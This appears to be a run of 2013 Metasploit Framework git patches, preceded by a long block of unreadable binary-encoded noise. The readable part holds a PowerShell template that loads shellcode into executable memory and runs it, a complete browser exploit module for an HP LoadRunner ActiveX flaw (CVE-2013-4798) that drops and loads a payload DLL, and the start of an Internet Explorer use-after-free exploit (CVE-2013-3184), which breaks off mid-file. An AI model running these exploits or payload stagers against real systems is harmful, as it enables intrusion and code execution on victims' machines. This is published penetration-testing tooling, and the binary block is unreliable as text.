zWE?B(MM=EylPhTdI2&Sy1sMf+;eMzV?}Eo6`Aiq#c2t2Eeu0XV5o%WwQoQg9l*6at zm2<6#!ckY5-UY8l^_&N4>IOCzu_3IynyiEuPC--gLOu~(jmHaDqBLGO_gaz;UZ|ls zo=+23m&~X0Ht?@ka2~SZg&VFX4O2$=HrlCc{KgwIfVT4jA33h>U&O^YK!=|p={N=G z_=DLrF8C3Wm2m;~-((KaJpAxxb2Js;+*&hLhv6%?l&D#pGYczjWsblL=W6`e&c<9g z_BLvU7oLn#c;RHU3@s#pHV$tm_)Vs6pTG+ zT?|f*azoAh!V3QWAwo?V;R9$FUiis!ngK67BF27=4G-o|ae6)n3%^D_yzu--8Q1s# z99%(f#;cX|_EpRm_y}BwjO+$ad5jLpe&K}GL=-Qaj@IIZmp@Lb#s{JHDL;%qiPH%Q zlB^eji64DKiFyRpweSuWT!BJ(;mz&T8ZW#Tjl&C9qDs853n{!XjS5^?_$?xxYlfN9 z!5vXZcn7M-3)fjb4Ug_5bnF*ikNWV!7L>xL;KXi@pU_;}iE z8XZ1?{D~0;-^F|ILf`YWH(s~`+3><{ROI}^7tjD+xC`al$o~b*cYU<$8fx|uLkP(~ znF@!z%#hciaP%S3gZy~D21H%(HPOWjPyQDZ7+!cQT8xkUOXC7;NJ#mb5H2@8&_JYk{s+2T0RB8M|t)OyZL6+EqLKB)GHT*W6RmTgByZAq>^-A z_hQw%P&HmS zek78M!EPi^#3^{To!W6j0eC->4#a;Dt2@AbgF6 zxfxAoBLe%JX1KC&#xJd?z!gYNs>6~4P49r$T0RVqKB&}qhV;OPk<5fTEE!{!hci)@ zYYBHFt(OfkqYf@rI^G2nhtl@=6nyHiQZ=ia$pbo$BGMBp6}98$Dhr3P4RIV@Db$33r9>N?0DgEs01%O2kqh501S(`a0EVhE;mP+D7^hV z_TwY4;(V@)*Tft@gRrw9tU(cc5I%$?`RMQ+Bnc!BPYswI$_L*<65c#K>B3T#=2#yr zpGA3obK-!fAvuo^#w@SHf6b!(7+d{@VUg$v;c;S0!30}B-Q7Qi?%wIFXmr)3x zg-8E^v5pr$h1TMQpP*)Z0WQ3W3cSKl)G*H?>B(vMcVx6BJo;vHzYl(f@^Ua7Q)|{t zxBxlV^6NC%j!N*te#;B@zs1}yJlgWYnMm8iNrRY8^1@Ri41SCcaU$WVx6)>K;RR?a zUU(52hY!Lf;t93zZ%AjqaR1wQ4KEB>UO3P4P*Y3TsH0F6eu3mBgq3yl1@;SXLH&5) zgJ=t0xD>6$>u@iUn-DJkBkj$3gwLWXyl}hag+p$a{bV#Tze1H1^1u!xCrZIn=pWLP zeQ+fTQ%3mP2$>QuT#BaSb@(qN<<%XeZPd?x;Q;Ex3(vlbp^g_`pz%Xz;{rGzMe$+y z>&3L|x)BBo_!7MEjC;uQl<~nXRKtGZ>&TB6euunx^(W4Qq%y+$QI!3{ZKw{fiTT9Z z5Zddx5ngb>iAXx556-cC5GIiPNlpq5T3+2tdm}0Df=AtF_V57QfFw)iVdj3;nH-yi z$N!o3&#)2vGi{G5*VFd!fd?7;cwqzDB^QIEqGnQZ!5t6New4|>Qw^uhT^9%T6r zI&}|{8{&KDRIBCrDmwMD<+Dp^%TKHg$1>)4BnNolwJ691gnvQP@xr}m5?(#R!V<~v zbA^uO%;)SEzJ_Y?Sr~~ibn(JftBC+!xB>NQY@{*oAi1!5oJmM0baF6!qk-&r9kqmK zHgeJ!zi@J@QTRE^;)RzzN$Bvx8&CothMyzj9Z`7KT1F7R#1wvmO7Oyc zo?--1UfA~(?Vo3(kB!f*7YeX@of*0mJYc=m>EL-Nz=?zfGzl+My>vjl3!a9g#sT=u z({x52Skv&YNLEln?*=MHd9Q}K3DvL>fmc3Dn8d^5p0k<*K8E7#*WuTwA1~atiN1gr z&Py{a@nN_G$xTF|>v{F&BEEWeQ4ga=-OmQhCd8mhxXO>JXi9vfLW_GK&7@KTgz zzp#MT;)UO%X1scZn?v#&P2sQ%&43sF5)~*TJQwxj12BW+=Cbg)&C+>kk2GfFtLB9r z@OdP?Gz;&2jT$^m7~vjd)ND(s8veTZsO5ljkwj4#LzB1(VFtPJS$Of*Qse0-2$vya z%?NjB{HUkU4tU=-9v<+*)o31GSe_-+cn3V?O-2gd2R}d?@p-uUEoL`-7C!P9E`ZnJ z@V}ZP!U3;G<2LfHDg5dk5*A()GinE+W5We!BbhLQ@XmL+SRb{Azw0+^8HNYGXXXqS z`~k^&P`%IO@*&xf^9Vmji}AvNkBK5)c;qK^cDx6=Kc)RQvVlcE+AZk`tZW1Pzo>HfmY##ukEH;@xu2|EnfI73gLyn`hsg~YvyO3)WsTcO33cRqU zNEwb5-hc+4BmaxJ8|8RG_}g#EX!tOE6V-6A@Wt;*pLpR%Xgt0Ezf@%^EFNwhQl_@! zg=Y>emGUZ592!63onHprj&@sGB?ZOM6 zK+`EBe8^s=ym(<|O^avt~7e03s zO@mLv^WA02`2v3*3?D>;?1!5A_t9K{4Pn)_dYuXw3bXZ_ogRgh!shP2h#o&_=v)^ocYF zUg$x~@WMAx1TQQf&rRSRFp4}caxqvuiQ40Zmz+#f;)C!>jUOR4o`lW`Woi~)cp{pL z_rXdpCuI_H!6%T;e&IhSQX{<3b!wTa!wZK_GMmf+UpkEnus;hUr*qC_v_0I4WY}w2 z%>HNa0+DdRB$9W(gx{k<4i=8~F$(a)Q&0}?gIkc47rG|XG|U&mlTj63cqMY+!|;71 zA4r;q2T!5>!@Ph|BhIAL;e|&aKRyk&oJGy>S$OMj7-r1h5g13(-Z~t0HqAj97yJ;( zq*Z`5en!D6LJdpLDKp*?b->m?piVJ9lV3pb-Zl*z(J&f`YdFTDGFqJsmZ>yezobkxRFfz0X}AkXdj~EpQ+FZp zQK+3i+Z+-Bc-a-y;AO%E??v+WyHWV-x%egYcKEkzXk+#lVEeUXLwpK;HJ|3d^Zlms zU8lwcgkK|RCUrgi0ErL7k4?|#@83X=Mn+r0=g|Ns61v0G1}}`FBwqONjYI`6d=D+b z^F^xahJ|M8<;zofi^lYPVJaV5X<)Nm}{w5n?FGCNlUZbA~dG_)-?y#ux&Nj@n!`fkc|>}U;h z3|hp7@Xu%-J__5B{8O>;Wt3;XaL7H33cPRx+K3mrQ35YK7RB)%cny-b^3DxzmenyzRp#hbsq;yCxRVFCKBPNsES`U2!DM)oe(cP z)A9j0ZHYN_18~{{mVbcpf6;@4g#-8=Sans@3}YD1c!+V&e&JFS!V526N~e?ZaN8qh z`7AtYIW=a#2fl}z@ddaf#`KKW;YV@uzU+sYM;TEW$$Bfw)W}uTj2B$69XU4BPH@~~ z)C})~_pIhd@lp8u1`-rL0ym)`J_|=R5=FcV-h=9-JnTkG@M*ZAiJ>bVj?kLPL~;O} zg3|Z^T!=FG2t1*Md=P$)3V4+$Q->k-Dz%5T$cB%=Cgi}U;Md5BSM4M; z4Om~@j04@X{WJDLx1fO3?)P zG4Kww7QY0(fYSIaaQqXr{}whTJyE7!ME&vtJaP@G7e5XzMFspS=z5Y`z9#>!!(4zI z_$4rh#^86s@oT9JekwfsDJp}X1;0UlymK8x8r9(A>lpu@^>i*ayzqKdhp&acUTTK- z!xzyid=8dBLzCfc@NCqNuZ9cIPJAtV5beUp;cm1CUxY_)B*);r@CsC-ZQ)PvF%O~& zd>lUUEE5a97he4woe*COA4NWV27ZnFc-tn{3Mhd0!w9Oz*Tbh!5Z?|0;e&*q8?&MN9C_@VXc1rT9hg7cY`n@Kx}zK86#1JnTmqym0(WBq;nm_*XQ5 z-w9(cQ)7HHT#%v3UdO{}n;BWJv;Loj`Sewqffp9N#>}>b@r@r3kKRgc#KR-D(dop) zySCFz_+`-cHsc;&2?IIi2>d+Q(NAW?SG~_oq8xrZ9R2|}C*`3tuhBMgK%O3oDz>s7 zgjFB%B7PRU^COx7zYIR|F=5A7eOji@9U#0?25v*O_?>X_XGBr7?}10`rr+Sl z!?kD&ezEoiz4c2Lobm#E>DLE-yg^*4lZ8#fLAiN@ed{>jQ1 zdGJ$V{JSzW3EvE>_A+$w<6+Mr^9#NYF8nv`A7NuL=HQZYwF+MaFDfrry?DM-S`FW) zTy4kmb5#?$Zo^N(mD}Pb0Y*{VPt75VUM;jq!=$}juj)hK{p1Rt#| zSJn8w%5pycW504WpN(dC&LQQh4nGUNgO=fU!gpQVoOn3#h;p?SKNaTC7TFKSxY@>6 z!5L@|ejXhAt8z6c`{4xSc!N;@ze3J8$p3s(xEg;FxkX z9bXIG$Cj&kaxm0T9iFcMSBs7-SM}oIRi1LCOL=(V@!Tjr1kXO9TxIZl&9~Zx@_4?* zTV0`@Sgwj}@I~M1t&_`D$(!_2c*TTr<-#w5`+3XxhaqYJCm}z6Dy%^PybeD=)%eIM zqo_{Gz${vfSErV%)6o*VmKQUrT*ajjEIqAUCGigUAlfMV;rcVE0X_}y z@KFPN6l#;HfOxoi3gLZ=c?8~jCK1C&p*EF1As)Vis`0L~%GE1p(f&a;vTPjwn{pM# zd*EHDP7Z({pn7~Belm?dfiJ*C)5}!~AAxV4NA08xyl(~}#z$c^KquW!jV~xyC!spL z@VJ@W1pc_0TDkf?8{^ps!-Fp*M0gL(p%lIVXI{jJz}La2(MJ46xZvV)wKGRE!8cIx zJ<7w=FCki#@xjs6W|>O37-iY7!}~5JiW(bBF!x?YA$b7?YRdU4E7k$=#Zzvfl??zc-H6 z40ARcasfZ=G+*G`tIE}TmY;qtofJu#C~QM{PAWWie!1$y3(rGq@d2o#s=pFZIPnG| ziWi=Z3Y77~zu%ylHQ2?*#2e`c6smzcP%|~_hqD)$z6O3^`8>RQp}D^fb}TAaQ#m#X z&-;Vf1OfOAn$P}?@Z_7y)hy2Gg{#pL_UjrZgQRA{g5`xr-9iVXkQ;78S$r1mMiRyX zy!AF}#<6v9L>*ZWUjgq%(hut4b|lRtO#hMmK^ft&+iCxLHXN9bQ4+rgzCcvuZvgw? z*GO(|5Bws+4dM%M|2xe6PPp|>F3iQU(0y0A^5TU%(7b-42rpht!eW0l+;lg60-wH{ z@jv?>F3d&^oP9qX3117xE}>@B(giO<{ce>&7qB`1x*r;&7` zjquvXO+O#*)frNhaW;^AkQ_T7Zf+t6uzw5uMYGjp@LVKiv{{(PTS%uA(%~CO?sPjm zvy~*m{;6;-lA6tfFCjTN4@=tUr0jP}5rq(iAEm~z*cwHN;Iq}jvO+H&PW~1vp`k>Af1p^$k-ng@miWWfg?i;i5rq2roSN2Re?F zftR5iz6LHq>H|72d@;GIZrdNI6bh)roO4vu2(9BNZuybf!I z*^Dp>4=J%JKl@$q5+ny#!;Vs$F;bFnTZK)9DU*etkF=?J{4TiAZkAaDx9?|Dz3dl0 zxxY>I3;akp*B@u{}y=vVNw~53uD$FZc}4Eq*K7htIXQ#aHg9Z zV*f0-_c)sh;RoSX4;RB{;n3r4MrJI5TTis9X4wxnjkl>jd>S^N#7*FnaP`SH<=9D| zfTwE{%)9f!-y&(h5bQsjJLLf30e+h?M4fOVk}{LvUy=0o9Nde>FpLM`FV8W{jDt5I zX|gc9b(&30qD&oJisU@nGR&&!gpwD8hn{C1PzArXyyJYEx(&&R>flBs2lv5gGt3H1 zhp!;1SwDO?KtJG|{qWrjEDsYi&6^fpeR)F_)T>dW8pGW$qsXFGO1~;b0ZxJpMw8D+wptg4-1J3-nPi5 zK1R|61-SSRHe)6fj=9;UT<_}> zF=~UafGgwlYvjT(g+?D3}r$g^5vy2bkhM0FW{z;r6f#fE1`1ESp zk`t-NZE7rXU(TP*!>Oo9))UUPys*yl!sRH#Dp{Da_6u{C&%?cz7w)HP=1KR{ZR%Jg z7ZCa_FPv+6VV&iL%PcQkV|n50mKT0ydDUQ3haow?@HER$(J*tY4dHE;7cRHF@CnNc zx1bOw5`Jp!7Y=PSFCaYF@$D}k$xt$$%p{9RcUN^+eOGVSK$o-I-(B0C=+1T9 zdb~ZMo_J5Dr^pwZt2BKKxbkZZ6tdK*KH@y1MJvC-XB-BjPy z+cePRZ1y+THYb|-Vrx~PGjVV%Tw_093wPFbMmpo2dS||KptHb@IFf;6buyT&O-7Pw zZYY}^NEVWwE^n8Q8w+;nU5Tz#SEei5<>+>HySlyIzHXhHOm%0vv)zs!XOD}U_4U;E zM0*B$3f%5Ks)8?2@aq9Rp{I0PgQFqT5N^mcWENmO@K)Yp}JpHPTw&+S{6L&9&xR2U?wNt~PI*ug%|9+ZJhy zx9M$(wp?4jt=Og#wuCp~OH?OpJb2 z)-!slA>ZI=^fiVX^R%04wl%w&-OWDQFGy4(&GpSX?U*Jy`R0LU)naRLws`475#pq` zBwErfnU);!Dz-?Z^wtE?%C#0+i>9!03A20&$jD2;2{qV`5_IhHRXiv9i zh;*^t(c$dyba*@b9ifg$M?IlV5b8`vj&M6Vot>UeZ)bp@OJ|JI856NhUi$&Db*I`Z zHFuYvP8aHmFeaqy^>*dD3WQxcpPTU^T`x`7ldu;Fyob)`XRN5mJ}lPw14H6D(4ZP^ zjjl#FW5eHA-I!?1(%*`WjwWZ5yUE++ZwfYrnj(x9ogSEO$~65Ld#6V5z0K7G{^wyY zHcQw&1YU-3xTTgZ8YlRfmOP=i5kWT*@+?S$|i+7{Fm-DMProD{TzpeC&t`_7kf@Jz=A_%DB~gQly%!(Pxb@ zoZm;y;`41|w@FCEt37@*V2V2(HHgg8ZzWmp#*Rg~eK^$jPCua96D{JfaK`Gc)J9@=PBE28oyK?C%a387kZzG4izJ zsSLR~-(4^=mD?CJzMeo&P0yo+#Vu6MBDZ~72f!HBI`vF>lh!uX8E&^m`iC2{I zA!8#;yd+jO#)g|=;U`On7#j7YjGs-8YPcHDUH<=1jucJ}SD7g=WAq}2HGus_uPIo$ zGh!vYUQ%X(8OD}yGpl5buAtg&?ap>@Y|g3FBz3Z?l+|-os>m85%yK8%5T|09|0BUyYmIqkMoAWu zpsQPgMxIEtq*}7fj0JLpi}dVcf~zJ!L|fynDdtGY57N?7U&#%AV}eVO56sqfkPSSn zC<3e~Bo{=fYl3yff3!a-pt?O)d7`~?l8YqoBf(cQ=>M||4-gR7&pNOKMej_I)icH- ztk@a5{6za$&1rRl(9dSRD2<-#=`~Wb5wiSnRYl0mfXS!~6E1T#kaG&FEV7i7ffFXyj6l5x_9ZwEFhnC5%aPfRrHV z(?c|a*7_m-AIae7sUY52G?uC|aH7V*$#l`N3d2<;uo;6SY-B5?ctRy|vHLEwdxxi) zA#%nNC-y$u!)Wc;@iq2?Vu2d_ky^dcHb3vQGSk*GY>P=32{_7{M0MLpt^*8Gmo-F# z)*$_l_Hv9+N#jluM(gy_3T~#&cw?TJ2aGjHv?y+&$sGr9Sg z+VI8}St5UFQy3^Y0!5w$E5b3CSa>HBdO;zb@) zs#%Kk($}5z@mf~QIhNaAQb?RsS!{EYH0ntf0}1EhEEH;48|T_>tcXL#z*7 zX1{Pmg6F&}b5XHd#YSCXuj22D0z@u$!MXOcVv$Sizd0tsBV3mF6pb~V%UD1A$rNE8 zK;v}hl(C}Ak)jLDDmJ9r{;SCWBNIogrzO6QIxX_k3T?oce;r0f zu1*AFTDAR(SaG`j$TEqVEg2hop8clS^7HJ6(DK3c>&~;^Fmy;bc4WYwDP;-S;)(4J z*uRezF0emV5~<*mUmluiZy6GE`t6C>tF!Eflte33DE6V>{``7k*EFO=uTVAXsbs^D z!*jHe3@SIzEdd5qEz_Fh?@VWw2k4?aFvbo)&;Br>NmZ!8`lrvcKQLq%eK~gC4Ew30 zZ7kVkZCB0wA2E_hD%Li`enhD(*i`IqGwf41GF`z3cmFD2?>xAcm2lK}`sg(tiDe~R zWP1Cl8gGxv)0#5PI+#~HOtt>?U)I=<9zxZ#>kqu#US6_()NK1f6+;Jxt{;23{idPE z<=cNutFkKf^AsYTBVs(5rHpl!Sw)9&I$!LoYWwID%yi)(VaU{7Z7fK8jl_{P9*hgt z(v-348mW@f?<)RacaAilu&P=5*EZG1j$3FyB3Ate`;oDLm%+KlXP*}P=tlebu@e^9 z4~vB-+ugD2Z^Au%lfClb9AlHEr)Q+%tNKXaPF4k8W1SPyYhzzcwx7EEX8X9<%>K>g8>`ksv2Ba&m&6WR z$oXe3E+z4r037jCq>4)&5es@p@x^cd$6BSSM5$sGXi0>(36EpJ-Ln$FB31I9GzFcum=W|AP8q?R`>QpQ^sIiB~-)x3kJ zJ-6|mQGj$EVwI<}!t?NG7ibUiXcvjSaf|)JA*q;lDGP&Dm)fV={X8>K+2}}Po{SY{ z+b2$xHId}HjPd4G#CS&_PHHQ(26)%RmT(vk4Yj-x{XG=B;&S_bC3zk>W5GFgr!ifQG#1N+rdaR_+G@>Z_KRI^7UCghnglbA;*rF` rLy60JLM_l$V)>xGIyQ3-Z8-N*d*%8&mX17Q*!t+wksjmc>qGww3}O7N From ee9b1ef8e03117bf93a6c9360e650137cbb20a00 Mon Sep 17 00:00:00 2001 From: shellster Date: Sun, 25 Aug 2013 13:29:15 -0700 Subject: [PATCH 415/454] Greatly shortened to_mem_old.ps1.template by using [Math]::max. Added necessary end of line conversion in lib/msf/util/exe.rb so that Powershell will parse multiline strings. --- data/templates/scripts/to_mem_old.ps1.template | 10 ++-------- lib/msf/util/exe.rb | 4 ++-- 2 files changed, 4 insertions(+), 10 deletions(-) diff --git a/data/templates/scripts/to_mem_old.ps1.template b/data/templates/scripts/to_mem_old.ps1.template index d45a8158aa082..bbd85c1bfbd83 100644 --- a/data/templates/scripts/to_mem_old.ps1.template +++ b/data/templates/scripts/to_mem_old.ps1.template @@ -11,16 +11,10 @@ $%{var_win32_func} = Add-Type -memberDefinition $%{var_syscode} -Name "Win32" -n %{shellcode} -$%{var_size} = 0x1000 - -if ($%{var_code}.Length -gt 0x1000) { - $%{var_size} = $%{var_code}.Length -} -$%{var_rwx} = $%{var_win32_func}::VirtualAlloc(0,0x1000,$%{var_size},0x40) +$%{var_rwx} = $%{var_win32_func}::VirtualAlloc(0,0x1000,[Math]::Max($%{var_code}.Length, 0x1000),0x40) for ($%{var_iter}=0;$%{var_iter} -le ($%{var_code}.Length-1);$%{var_iter}++) { - $%{var_win32_func}::memset([IntPtr]($%{var_rwx}.ToInt32()+$%{var_iter}), $%{var_code}[$%{var_iter}], 1) + $%{var_win32_func}::memset([IntPtr]($%{var_rwx}.ToInt32()+$%{var_iter}), $%{var_code}[$%{var_iter}], 1) | Out-Null } $%{var_win32_func}::CreateThread(0,0,$%{var_rwx},0,0,0) - diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index 02896b1651ed3..489f09c198297 100755 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -970,7 +970,7 @@ def self.to_win32pe_psh_net(framework, code, opts={}) hash_sub[:shellcode] = Rex::Text.to_powershell(code, hash_sub[:var_code]) - return read_replace_script_template("to_mem_dotnet.ps1.template", hash_sub) + return read_replace_script_template("to_mem_dotnet.ps1.template", hash_sub).gsub(/(? Date: Wed, 28 Aug 2013 23:16:14 +0100 Subject: [PATCH 416/454] Merge and rescue ex correctly --- spec/support/shared/contexts/msf/util/exe.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/spec/support/shared/contexts/msf/util/exe.rb b/spec/support/shared/contexts/msf/util/exe.rb index 87636cfd80b2d..8076e24cbd981 100644 --- a/spec/support/shared/contexts/msf/util/exe.rb +++ b/spec/support/shared/contexts/msf/util/exe.rb @@ -71,7 +71,7 @@ def verify_bin_fingerprint(format_hash, bin) fp = IO.popen("file -","w+") do |io| begin io.write(bin) - rescue + rescue Errno::EPIPE end io.close_write io.read From 7b9314763c2294521537545a168f61ea11276216 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Thu, 29 Aug 2013 12:57:45 -0500 Subject: [PATCH 417/454] Add the require boilerplate Fixes a bug that sometimes comes up with load order on this module. I know @jlee-r7 is working on a better overall solution but this should solve for the short term. Note, since the problem is practically machine-specific. @jlee-r7 suggested rm'ing all modules but the one under test. Doing that exposes the bug, and I've verified this fix in that way. --- modules/exploits/osx/local/sudo_password_bypass.rb | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/modules/exploits/osx/local/sudo_password_bypass.rb b/modules/exploits/osx/local/sudo_password_bypass.rb index ccea3a84f164c..efc0420ab495d 100644 --- a/modules/exploits/osx/local/sudo_password_bypass.rb +++ b/modules/exploits/osx/local/sudo_password_bypass.rb @@ -5,6 +5,11 @@ # # http://metasploit.com/ ## +require 'msf/core' +require 'rex' +require 'msf/core/post/common' +require 'msf/core/post/file' +require 'msf/core/exploit/exe' require 'shellwords' class Metasploit3 < Msf::Exploit::Local From 4a6bf1da7f130e46a3d87e7eb1fed378e81b0d9c Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 29 Aug 2013 14:09:45 -0500 Subject: [PATCH 418/454] Add module for ZDI-13-207 --- .../browser/hp_loadrunner_writefilestring.rb | 152 ++++++++++++++++++ 1 file changed, 152 insertions(+) create mode 100644 modules/exploits/windows/browser/hp_loadrunner_writefilestring.rb diff --git a/modules/exploits/windows/browser/hp_loadrunner_writefilestring.rb b/modules/exploits/windows/browser/hp_loadrunner_writefilestring.rb new file mode 100644 index 0000000000000..6cb00107f0ef0 --- /dev/null +++ b/modules/exploits/windows/browser/hp_loadrunner_writefilestring.rb @@ -0,0 +1,152 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::Remote::BrowserAutopwn + include Msf::Exploit::EXE + + autopwn_info({ + :ua_name => HttpClients::IE, + :ua_minver => "6.0", + :ua_maxver => "8.0", + :javascript => true, + :os_name => OperatingSystems::WINDOWS, + :os_ver => OperatingSystems::WindowsVersions::XP, + :rank => NormalRanking, + :classid => "{8D9E2CC7-D94B-4977-8510-FB49C361A139}", + :method => "WriteFileString " + }) + + def initialize(info={}) + super(update_info(info, + 'Name' => "HP LoadRunner lrFileIOService ActiveX WriteFileString Remote Code Execution", + 'Description' => %q{ + This module exploits a vulnerability on the lrFileIOService ActiveX, as installed + with HP LoadRunner 11.50. The vulnerability exists in the WriteFileString method, + which allow the user to write arbitrary files. It's abused to drop a payload + embedded in a dll, which is later loaded through the Init() method from the + lrMdrvService control, by abusing an insecure LoadLibrary call. This module has + been tested successfully on IE8 on Windows XP. Virtualization based on the Low + Integrity Process, on Windows Vista and 7, will stop this stop this module because + the DLL will be dropped to a virtualized folder, which isn't used by LoadLibrary. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Brian Gorenc', # Vulnerability discovery + 'juan vazquez' # Metasploit module + ], + 'References' => + [ + [ 'CVE', '2013-4798' ], + [ 'OSVDB', '95642' ], + [ 'BID', '61443'], + [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-207/' ], + [ 'URL', 'https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c03862772' ] + ], + 'Payload' => + { + 'Space' => 2048, + 'DisableNops' => true + }, + 'Platform' => 'win', + 'Targets' => + [ + [ 'Automatic IE on Windows XP', {} ] + ], + 'Privileged' => false, + 'DisclosureDate' => "Jul 24 2013", + 'DefaultTarget' => 0)) + + register_options( + [ + OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) + ], self.class) + + end + + # Just reminding the user to delete LrWeb2MdrvLoader.dll + # because migration and killing the exploited process is + # needed + def on_new_session(session) + print_status("New session... remember to delete LrWeb2MdrvLoader.dll") + end + + def is_target?(agent) + if agent =~ /Windows NT 5\.1/ and agent =~ /MSIE/ + return true + end + + return false + end + + def create_dll_js(object_id, dll_data) + dll_js = "" + first = true + dll_data.each_char { |chunk| + if first + dll_js << "#{object_id}.WriteFileString(\"LrWeb2MdrvLoader.dll\", unescape(\"%u01#{Rex::Text.to_hex(chunk, "")}\"), false, \"UTF-8\");\n" + first = false + else + dll_js << "#{object_id}.WriteFileString(\"LrWeb2MdrvLoader.dll\", unescape(\"%u01#{Rex::Text.to_hex(chunk, "")}\"), true, \"UTF-8\");\n" + end + } + return dll_js + end + + def load_exploit_html(cli) + return nil if ((p = regenerate_payload(cli)) == nil) + + file_io = rand_text_alpha(rand(10) + 8) + mdrv_service = rand_text_alpha(rand(10) + 8) + dll_data = generate_payload_dll({ :code => p.encoded }) + drop_dll_js = create_dll_js(file_io, dll_data) + + html = %Q| + + + + + + + + | + + return html + end + + def on_request_uri(cli, request) + agent = request.headers['User-Agent'] + uri = request.uri + print_status("Requesting: #{uri}") + + # Avoid the attack if no suitable target found + if not is_target?(agent) + print_error("Browser not supported, sending 404: #{agent}") + send_not_found(cli) + return + end + + html = load_exploit_html(cli) + if html.nil? + send_not_found(cli) + return + end + html = html.gsub(/^\t\t/, '') + print_status("Sending HTML...") + send_response(cli, html, {'Content-Type'=>'text/html'}) + end + +end \ No newline at end of file From 657be3a3d94741d4a622522f5aa4f6080118e658 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 29 Aug 2013 14:42:59 -0500 Subject: [PATCH 419/454] Fix typo --- .../exploits/windows/browser/hp_loadrunner_writefilestring.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/windows/browser/hp_loadrunner_writefilestring.rb b/modules/exploits/windows/browser/hp_loadrunner_writefilestring.rb index 6cb00107f0ef0..a7b7b38c0d707 100644 --- a/modules/exploits/windows/browser/hp_loadrunner_writefilestring.rb +++ b/modules/exploits/windows/browser/hp_loadrunner_writefilestring.rb @@ -36,8 +36,8 @@ def initialize(info={}) embedded in a dll, which is later loaded through the Init() method from the lrMdrvService control, by abusing an insecure LoadLibrary call. This module has been tested successfully on IE8 on Windows XP. Virtualization based on the Low - Integrity Process, on Windows Vista and 7, will stop this stop this module because - the DLL will be dropped to a virtualized folder, which isn't used by LoadLibrary. + Integrity Process, on Windows Vista and 7, will stop this module because the DLL + will be dropped to a virtualized folder, which isn't used by LoadLibrary. }, 'License' => MSF_LICENSE, 'Author' => From 0a1b078bd8d1ed3c1f57cd0261a43f2623349819 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Fri, 30 Aug 2013 03:16:28 -0500 Subject: [PATCH 420/454] Add CVE-2013-3184 (MS13-058) CFlatMarkupPointer Use After Free Please see module description for more info. --- .../browser/ms13_058_cflatmarkuppointer.rb | 174 ++++++++++++++++++ 1 file changed, 174 insertions(+) create mode 100644 modules/exploits/windows/browser/ms13_058_cflatmarkuppointer.rb diff --git a/modules/exploits/windows/browser/ms13_058_cflatmarkuppointer.rb b/modules/exploits/windows/browser/ms13_058_cflatmarkuppointer.rb new file mode 100644 index 0000000000000..95d5f515a792c --- /dev/null +++ b/modules/exploits/windows/browser/ms13_058_cflatmarkuppointer.rb @@ -0,0 +1,174 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::RopDb + + def initialize(info={}) + super(update_info(info, + 'Name' => "MS13-058 Microsoft Internet Explorer CFlatMarkupPointer Use-After-Free", + 'Description' => %q{ + This is a memory corruption bug found in Microsoft Internet Explorer. On IE 9, + it seems to only affect certain releases of mshtml.dll. For example: This module + can be used against version 9.0.8112.16446, but not for 9.0.8112.16421. IE 8 + requires a different way to trigger the vulnerability, but not currently covered + by this module. + + The issue is specific to the browser's IE7 document compatibility, which can be + defined in X-UA-Compatible, and the content editable mode must be enabled. An + "onmove" event handler is also necessary to be able to trigger the bug, and the + event will be run twice before the crash. The first time is due to the position + change of the body element, which is also when a MSHTML!CFlatMarkupPointer::`vftable' + object is created during a "SelectAll" command, and this object will be used later + on in the crash. The second onmove event seems to be triggered by a InsertButton + (or Insert-whatever) command, which is also responsible for the free of object + CFlatMarkupPointer during page rendering. The EnsureRecalcNotify() function will + then still return an invalid reference to CFlatMarkupPointer (stored in EBX), and + then passes this on to the next functions (GetLineInfo -> QIClassID). When this + reference arrives in function QIClassID, an access violation finally occurs when + the function is trying to call QueryInterface() with the bad eference, an this + results a crash. Successful control of the freed memory may leverage arbitrary code + execution under the context of the user. + + Note: It is also possible to see a different object being freed and used, doesn't + always have to be CFlatMarkupPointer. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'corelanc0d3r', # Vuln discovery, PoC + 'juan vazquez', # Stack pivot! + 'sinn3r' # Metasploit + ], + 'References' => + [ + [ 'CVE', '2013-3184' ], + [ 'OSVDB', '96182' ], + [ 'MSB', 'MS13-059' ], + [ 'BID', '61668' ], + [ 'URL', 'http://zerodayinitiative.com/advisories/ZDI-13-194/' ], + [ 'URL', 'http://zerodayinitiative.com/advisories/ZDI-13-195/' ] + ], + 'Platform' => 'win', + 'Targets' => + [ + # Vulnerable IE9 tested: 9.0.8112.16446 + [ 'Automatic', {} ], + [ 'IE 9 on Windows 7 SP1 (mshtml 9.0.8112.16446)', {} ] + ], + 'Payload' => + { + 'BadChars' => "\x00", + 'StackAdjustment' => -3500 + }, + 'DefaultOptions' => + { + 'InitialAutoRunScript' => 'migrate -f' + }, + 'Privileged' => false, + 'DisclosureDate' => "Jun 27 2013", + 'DefaultTarget' => 0)) + end + + def rnd_dword + rand_text_alpha(4).unpack("V").first + end + + def get_fake_obj + # edx,dword ptr [eax] + # ... + # call edx + obj = [0x20302020].pack("V*") # EAX points to this (Target spray 0x20302020) + obj << [rnd_dword].pack("V*") + obj << [rnd_dword].pack("V*") + obj << [rnd_dword].pack("V*") + obj << [rnd_dword].pack("V*") + + return obj + end + + 